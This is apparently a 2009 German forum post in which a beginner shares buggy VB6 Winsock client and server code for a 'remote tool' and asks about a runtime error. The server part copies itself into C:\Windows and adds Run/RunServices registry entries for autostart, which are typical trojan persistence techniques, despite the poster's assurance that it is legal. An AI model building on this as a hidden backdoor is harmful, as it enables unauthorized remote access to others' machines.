Client und Server (bin anfänger noch) Verfasst am: 27.01.2009, 15:48
Hallo Liebe Community,
ich hatte vor ein Client und ein Server zu coden sozusagen ein remote tool
Server:
Private Sub Form_Load()
Call RegisterApp
FileCopy App.EXEName & ".exe", "C:\Windows\" & App.EXEName & ".exe"
ws.LocalPort = 6885
ws.Close
ws.Listen
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
If ws.State <> sckClosed Then ws.Close
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytes As Long)
Dim Dat As String
ws.GetData Dat
MsgBox Dat, vbInformation
End Sub
Private Sub RegisterApp()
Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "REMOTE", "C:\Windows\RT.exe")
Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", "REMOTE", "C:\Windows\RT.exe")
End Sub
ws = winsock
Client Code
Private Sub Command1_Click()
ws.Close
ws.Connect Text1.Text, 6885
Label1.Caption = "Connected"
End Sub
Private Sub Command2_Click()
ws.Close
Do
DoEvents
Loop Until ws.State = sckClosed
Label1.Caption = "Disconnected"
End Sub
Private Sub Command3_Click()
ws.SendData Text2.Text
End Sub
so nun wenn ich den server starte und dann den client und ich meine lokale ip wie auch meine online ip eingebe kommt Runtime Error 424 Object required was soll ich tun
nun wie mache ich den client das er darauf connecten kann?? und es soll nicht "nur" über Lan funktionieren sondern im ganzen netz. ich glaube beim Server code müsste noch ws.RemotePort oder so stehen oder?? hoffe ihr habt paar tips, und es soll "kein trojaner" werden nicht das einige es denken. Es soll ein legales remote tool werden ...